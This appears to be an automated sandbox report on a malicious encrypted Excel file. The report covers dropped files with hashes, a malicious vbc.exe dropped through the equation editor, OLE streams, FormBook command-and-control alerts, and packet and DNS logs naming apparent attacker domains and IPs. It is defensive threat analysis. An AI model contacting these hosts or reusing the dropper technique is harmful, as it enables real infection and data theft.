......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C..................................................................
.........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.................................................
.............................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..........................................
..........................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(
...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8655667.png
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 712 x 712, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 111378

Entropy (8bit): 7.963743447431302

Encrypted: false

SSDEEP: 3072:AE34q7rqNP36BuuQOlx2UXdx+yx9uWqFOp:b3brGP3lujnd3Fx9Pqgp

MD5: 5ACDB72AF63832D23CED937B6B976471

SHA1: BC754ECEF3BEC86C6AFCC1AF644190AAFC34D9B7

SHA-256: 6D73F61D9E2A5E01DEE491E4E1F8600E0409879B86DB69B193CCF31CFD517DF3

SHA-512: FAE05526AA18F0EC0725C089A9252FEE54C995FC5D9C4590EC9DB2B0B6192AB6BD3C6CECF5703E235536433C2DAB5C0356FE95657FE9B14574C8F13320774D23

Malicious: false

Reputation: moderate, very likely benign file

Preview:
.PNG........IHDR.............b..v....sRGB.........gAMA......a.....pHYs..........+......IDATx^..|g.U.4.G...#..A....*.......>.i .....E..._.........R.....& A.).`Q'r`...%.22q.R..0...v.. .a..c....s..g.s...
1.I..;......Z{..^..>..................E..8.................. C.@..@..@..@..@.!...... .. .. .. ..p... .. .. .. .. .'..24..@..@..@..@...A................"................h$...FD...@..@..@..@.0...|................
4...................&.p.....W............F.p..................D...a.6... .. .. .. .H..r#"\.. .. .. .. p...A>L.F_A..@..@..@.....AnD..@..@..@..@.....8.I..+...........@#.8..p.............a"...0I.}............h$...
...............8L.. .&i.. .. .. .. ..... 7".. .. .. .. ........$m...@..@..@..@.....FD...@..@..@..@.0...|................4...................&.p.....W............F.p..................D...a.6... .. .. .. .H`...p...........
....p...|.n|.5.....4... .. .. .. .O.... ... .. .. .. ......+p.....?...............\...r.^...@..@..@..@.........0... .. .. .. ..eD.[... .. .. .

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FC0C12AA.jpeg
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3

Category: dropped

Size (bytes): 48770

Entropy (8bit): 7.801842363879827

Encrypted: false

SSDEEP: 768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf

MD5: AA7A56E6A97FFA9390DA10A2EC0C5805

SHA1: 200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
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Static File Info

General
File type: CDFV2 Encrypted

Entropy (8bit): 7.99653628950697

TrID: Generic OLE2 / Multistream Compound File 
(8008/1) 100.00%

File name: MT OCEAN STAR ISO 8217 2005.xlsx

File size: 2245120

MD5: 3ba4a9ceac60a4e52398ac6fbd0ebc5b

SHA1: 19b79bcd8982634747f1dfc6804687d60baf73b0

SHA256: ca4c055b60e84b73461e21062fc06924897c501944ec0f2
a467fc4c21f13b342

SHA512: ff14cc9946821af0891fb2b8ae10006ea9902f31c6cfcc5b
c6739270080a3862db34e718cf82838585662a3dbad748
92db78e891092a9cd0e137e86684440686

SHA-256: 56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974

SHA-512: A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782

Malicious: false

Reputation: moderate, very likely benign file

Preview:
......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C..................................................................
.........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.................................................
.............................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..........................................
..........................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(
...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FC0C12AA.jpeg

C:\Users\user\Desktop\~$MT OCEAN STAR ISO 8217 2005.xlsx
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 330

Entropy (8bit): 1.4377382811115937

Encrypted: false

SSDEEP: 3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS

MD5: 96114D75E30EBD26B572C1FC83D1D02E

SHA1: A44EEBDA5EB09862AC46346227F06F8CFAF19407

SHA-256: 0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E
0

Malicious: false

Reputation: high, very likely benign file

Preview:
.user                                                 ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user                                                 ..A.l.b.u.s. . . . . . . . . . . 
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 687616

Entropy (8bit): 6.788526402195906

Encrypted: false

SSDEEP: 6144:wxwz1c/m/gGqitttttwgGTyWI+G4bNSrAxx3qK6L+/rKniN0s2sdUgBODIpFds5O:9dSTES5//6L/iYsGgBODIpFds5erS8

MD5: 2201881C6CC2DE12C71F906E43178EF9

SHA1: 2B494DB5E52B74DF25FF068D0D2A3295AAE4F658

SHA-256: 945EBBAF8C08902ED75EB98F5CABD2DBD88708C1AAC37A35762DB091C1CE0476

SHA-512: 4DDF35B3D8C49C9334FE4E32E0DB68B2780AD8528DC31595AE7D63906625FAA045AAED0EF84A4264A29C3B8DB8C35054478898DF914C3DF0512618EDEA59F167

Malicious: true

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....4`..............0..t.............. ........@.. ...................................
.@.....................................O.................................................................................... ............... ..H............text....s... ...t.................. ..`.rsrc................v..............@..@.reloc.........
......|..............@..B........................H.......,[...............C...O.............................................}.....(.......(......{....r...p~/...(....o......{....o....&*..0............r...p(....&......o....&...*..............
.....n..t.....o......{....o....&*.....(.....*~..{....o......{....o....(.....*.0..+.........,..{.......+....,...{....o........( ....*..0............s!...}.........("...s#.....s$...}.....s%...}.....s%...}......{....s&...}.....s'...}
.....s%...}.....s%...}.....s(...}.....{....o).....{....o)..
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SSDEEP: 49152:YCh6WqY0TZZ72n8aEEQGwTN/q6gPwzxj32Lrh
oDD9DJ:YChyLk8lgJPQxb2Lub

File Content Preview: ........................>...................#..........................................
.........................................|.......~...............z.......|.......~....
...........z.......|.......~......................................................

General

File Icon

Icon Hash: e4e2aa8aa4b4bcb4

General
Document Type: OLE

Number of OLE Files: 1

Indicators
Has Summary Info: False

Application Name: unknown

Encrypted Document: True

Contains Word Document Stream: False

Contains Workbook/Book Stream: False

Contains PowerPoint Document Stream: False

Contains Visio Document Stream: False

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: False

General

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace

File Type: data

Stream Size: 64

Entropy: 2.73637206947

Base64 Encoded: False

Data ASCII: . . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . 

Data Raw: 08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 
72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 
6d 00 00 00 

General

Stream Path: \x6DataSpaces/DataSpaceMap

File Type: data

Stream Size: 112

Entropy: 2.7597816111

Base64 Encoded: False

Data ASCII: . . . . . . . . h . . . . . . . . . . .   . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o
. n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . . 

Data Raw: 08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 
72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 
53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 
6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00 

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary

File Type: data

Static OLE Info

OLE File "MT OCEAN STAR ISO 8217 2005.xlsx"

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size:
200
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Snort IDS Alerts

Stream Size: 200

Entropy: 3.13335930328

Base64 Encoded: False

Data ASCII: X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 
5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n
. e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . 

Data Raw: 58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 
2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 
2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 
00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 
00 69 00 6e 00 65 00 

General

General

Stream Path: \x6DataSpaces/Version

File Type: data

Stream Size: 76

Entropy: 2.79079600998

Base64 Encoded: False

Data ASCII: < . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . .
. . . . . . . . . . . 

Data Raw: 3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 
00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 
00 73 00 01 00 00 00 01 00 00 00 01 00 00 00 

General

Stream Path: EncryptedPackage

File Type: data

Stream Size: 2223464

Entropy: 7.99991099371

Base64 Encoded: True

Data ASCII: S . ! . . . . . . . * . . . . . . . : S ( w . W 8 . . . ( ~ . / . W ^ . . E P P . . . U . # . . . a . W " T . . ] . . r . . d 
. & . . F . . 2 . I . # . . 8 . . . . 9 . ; ` . . I . # . . 8 . . . . 9 . ; ` . . I . # . . 8 . . . . 9 . ; ` . . I . # . . 8 . . . . 9
. ; ` . . I . # . . 8 . . . . 9 . ; ` . . I . # . . 8 . . . . 9 . ; ` . . I . # . . 8 . . . . 9 . ; ` . . I . # . . 8 . . . . 9 . ; ` . . I
. # . . 8 . . . . 9 . ; ` . . I . # . . 8 . . . . 9 . ; ` . . I . # . . 8 . . . . 9 . ; ` . . I . # . . 8 . . 

Data Raw: 53 ed 21 00 00 00 00 00 14 1e 2a d7 02 a8 15 ec d5 12 3a 53 28 77 e8 57 38 83 e0 b6 28 7e 
b5 2f ed 57 5e d9 03 45 50 50 06 bb 9b 55 fd 23 a8 e9 9f 61 d7 57 22 54 f4 a8 5d de 97 72 c7 
9b 64 c4 26 cd 81 46 e3 ca 32 91 49 83 23 ef ca 38 e4 d0 eb 19 39 c8 3b 60 04 09 49 83 23 ef 
ca 38 e4 d0 eb 19 39 c8 3b 60 04 09 49 83 23 ef ca 38 e4 d0 eb 19 39 c8 3b 60 04 09 49 83 
23 ef ca 38 e4 d0 

General

Stream Path: EncryptionInfo

File Type: data

Stream Size: 224

Entropy: 4.5176249755

Base64 Encoded: False

Data ASCII: . . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t .   . E . n . h . a
. n . c . e . d .   . R . S . A .   . a . n . d .   . A . E . S .   . C . r . y . p . t . o . g . r . a . p . h . i . c .   . 
P . r . o . v . i . d . e . r . . . . . . . . . ` z X . . . . . . o . . . . . P # v L ; T % . . . . P . . . . . . . . . . T e ! 1 .
. . . V . N < . ( e k . D . M - I . z . F . . . 

Data Raw: 04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 
00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 
74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 
61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 
72 00 61 00 70 00 68 00 

Network Behavior

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

Stream Path: EncryptedPackage, File Type: data, Stream Size: 2223464

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224
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Network Port Distribution

Total Packets: 54

• 53 (DNS)

• 80 (HTTP)

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

02/23/21-
11:35:49.175415

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49168 80 192.168.2.22 216.239.32.21

02/23/21-
11:35:49.175415

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49168 80 192.168.2.22 216.239.32.21

02/23/21-
11:35:49.175415

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49168 80 192.168.2.22 216.239.32.21

02/23/21-
11:36:09.678212

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49169 80 192.168.2.22 34.102.136.180

02/23/21-
11:36:09.678212

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49169 80 192.168.2.22 34.102.136.180

02/23/21-
11:36:09.678212

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49169 80 192.168.2.22 34.102.136.180

02/23/21-
11:36:09.818982

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49169 34.102.136.180 192.168.2.22

Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 11:34:26.577325106 CET 49165 80 192.168.2.22 54.67.62.204

Feb 23, 2021 11:34:26.783643007 CET 80 49165 54.67.62.204 192.168.2.22

Feb 23, 2021 11:34:26.783752918 CET 49165 80 192.168.2.22 54.67.62.204

Feb 23, 2021 11:34:26.784049988 CET 49165 80 192.168.2.22 54.67.62.204

Feb 23, 2021 11:34:26.999011993 CET 80 49165 54.67.62.204 192.168.2.22

Feb 23, 2021 11:34:26.999068022 CET 80 49165 54.67.62.204 192.168.2.22

Feb 23, 2021 11:34:26.999314070 CET 49165 80 192.168.2.22 54.67.62.204

Feb 23, 2021 11:34:26.999453068 CET 49165 80 192.168.2.22 54.67.62.204

Feb 23, 2021 11:34:27.176362991 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.205174923 CET 80 49165 54.67.62.204 192.168.2.22

Feb 23, 2021 11:34:27.401114941 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.401374102 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.401906013 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.626671076 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.626698971 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.626710892 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.626724005 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.626735926 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.626749992 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.626765966 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.626781940 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.626797915 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.626813889 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.626877069 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.626929045 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.628151894 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.639472008 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.850655079 CET 80 49166 180.214.238.131 192.168.2.22

TCP Packets
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Feb 23, 2021 11:34:27.850724936 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.850769997 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.850801945 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.850811005 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.850836992 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.850842953 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.850855112 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.850873947 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.850897074 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.850902081 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.850949049 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.850964069 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.850994110 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851018906 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851032019 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851032972 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851073980 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851103067 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851114988 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851120949 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851155043 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851181030 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851192951 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851197004 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851238966 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851264954 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851288080 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851294041 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851331949 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851350069 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851376057 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851402998 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851444960 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851511002 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851553917 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:27.851581097 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.851602077 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:27.854111910 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.074953079 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.075016975 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.075231075 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.075752020 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.075793982 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.075834036 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.075872898 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.075885057 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.075905085 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.075911045 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.075922012 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.075928926 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.075965881 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.075982094 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.076005936 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.076021910 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.076050043 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.076081991 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.076090097 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.076107979 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.076131105 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.076155901 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.076172113 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.076191902 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.076235056 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.076252937 CET 49166 80 192.168.2.22 180.214.238.131

Timestamp Source Port Dest Port Source IP Dest IP
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Feb 23, 2021 11:34:28.076275110 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.076298952 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.076317072 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.076323986 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.076370955 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.076380968 CET 49166 80 192.168.2.22 180.214.238.131

Feb 23, 2021 11:34:28.076411009 CET 80 49166 180.214.238.131 192.168.2.22

Feb 23, 2021 11:34:28.076440096 CET 49166 80 192.168.2.22 180.214.238.131

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 11:34:26.501152992 CET 52197 53 192.168.2.22 8.8.8.8

Feb 23, 2021 11:34:26.558443069 CET 53 52197 8.8.8.8 192.168.2.22

Feb 23, 2021 11:34:27.022183895 CET 53099 53 192.168.2.22 8.8.8.8

Feb 23, 2021 11:34:27.113754988 CET 53 53099 8.8.8.8 192.168.2.22

Feb 23, 2021 11:34:27.114170074 CET 53099 53 192.168.2.22 8.8.8.8

Feb 23, 2021 11:34:27.174151897 CET 53 53099 8.8.8.8 192.168.2.22

Feb 23, 2021 11:35:30.375346899 CET 52838 53 192.168.2.22 8.8.8.8

Feb 23, 2021 11:35:30.437100887 CET 53 52838 8.8.8.8 192.168.2.22

Feb 23, 2021 11:35:49.047370911 CET 61200 53 192.168.2.22 8.8.8.8

Feb 23, 2021 11:35:49.129951954 CET 53 61200 8.8.8.8 192.168.2.22

Feb 23, 2021 11:36:09.559489012 CET 49548 53 192.168.2.22 8.8.8.8

Feb 23, 2021 11:36:09.635488987 CET 53 49548 8.8.8.8 192.168.2.22

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Feb 23, 2021 11:34:26.501152992 CET 192.168.2.22 8.8.8.8 0x887e Standard query 
(0)

ow.ly A (IP address) IN (0x0001)

Feb 23, 2021 11:34:27.022183895 CET 192.168.2.22 8.8.8.8 0xdd2a Standard query 
(0)

msnsndstdy
yemkemafgk
.dns.army

A (IP address) IN (0x0001)

Feb 23, 2021 11:34:27.114170074 CET 192.168.2.22 8.8.8.8 0xdd2a Standard query 
(0)

msnsndstdy
yemkemafgk
.dns.army

A (IP address) IN (0x0001)

Feb 23, 2021 11:35:30.375346899 CET 192.168.2.22 8.8.8.8 0x708c Standard query 
(0)

www.priori
ty1fleet.com

A (IP address) IN (0x0001)

Feb 23, 2021 11:35:49.047370911 CET 192.168.2.22 8.8.8.8 0xa14d Standard query 
(0)

www.qualla
teematerial.com

A (IP address) IN (0x0001)

Feb 23, 2021 11:36:09.559489012 CET 192.168.2.22 8.8.8.8 0xccff Standard query 
(0)

www.hatton
palacejewe
llery.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Feb 23, 2021 
11:34:26.558443069 
CET

8.8.8.8 192.168.2.22 0x887e No error (0) ow.ly 54.67.62.204 A (IP address) IN (0x0001)

Feb 23, 2021 
11:34:26.558443069 
CET

8.8.8.8 192.168.2.22 0x887e No error (0) ow.ly 54.183.132.164 A (IP address) IN (0x0001)

Feb 23, 2021 
11:34:26.558443069 
CET

8.8.8.8 192.168.2.22 0x887e No error (0) ow.ly 54.67.120.65 A (IP address) IN (0x0001)

Feb 23, 2021 
11:34:26.558443069 
CET

8.8.8.8 192.168.2.22 0x887e No error (0) ow.ly 54.67.57.56 A (IP address) IN (0x0001)

Feb 23, 2021 
11:34:26.558443069 
CET

8.8.8.8 192.168.2.22 0x887e No error (0) ow.ly 54.183.131.91 A (IP address) IN (0x0001)

Feb 23, 2021 
11:34:27.113754988 
CET

8.8.8.8 192.168.2.22 0xdd2a No error (0) msnsndstdy
yemkemafgk
.dns.army

180.214.238.131 A (IP address) IN (0x0001)

Feb 23, 2021 
11:34:27.174151897 
CET

8.8.8.8 192.168.2.22 0xdd2a No error (0) msnsndstdy
yemkemafgk
.dns.army

180.214.238.131 A (IP address) IN (0x0001)

Feb 23, 2021 
11:35:30.437100887 
CET

8.8.8.8 192.168.2.22 0x708c No error (0) www.priori
ty1fleet.com

52.58.78.16 A (IP address) IN (0x0001)

UDP Packets

DNS Queries

DNS Answers
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Feb 23, 2021 
11:35:49.129951954 
CET

8.8.8.8 192.168.2.22 0xa14d No error (0) www.qualla
teematerial.com

216.239.32.21 A (IP address) IN (0x0001)

Feb 23, 2021 
11:35:49.129951954 
CET

8.8.8.8 192.168.2.22 0xa14d No error (0) www.qualla
teematerial.com

216.239.36.21 A (IP address) IN (0x0001)

Feb 23, 2021 
11:35:49.129951954 
CET

8.8.8.8 192.168.2.22 0xa14d No error (0) www.qualla
teematerial.com

216.239.38.21 A (IP address) IN (0x0001)

Feb 23, 2021 
11:35:49.129951954 
CET

8.8.8.8 192.168.2.22 0xa14d No error (0) www.qualla
teematerial.com

216.239.34.21 A (IP address) IN (0x0001)

Feb 23, 2021 
11:36:09.635488987 
CET

8.8.8.8 192.168.2.22 0xccff No error (0) www.hatton
palacejewe
llery.com

hattonpalacejewellery.co
m

CNAME 
(Canonical 
name)

IN (0x0001)

Feb 23, 2021 
11:36:09.635488987 
CET

8.8.8.8 192.168.2.22 0xccff No error (0) hattonpala
cejewellery.com

34.102.136.180 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
ow.ly

            
msnsndstdyyemkemafgk.dns.army

            
www.priority1fleet.com

            
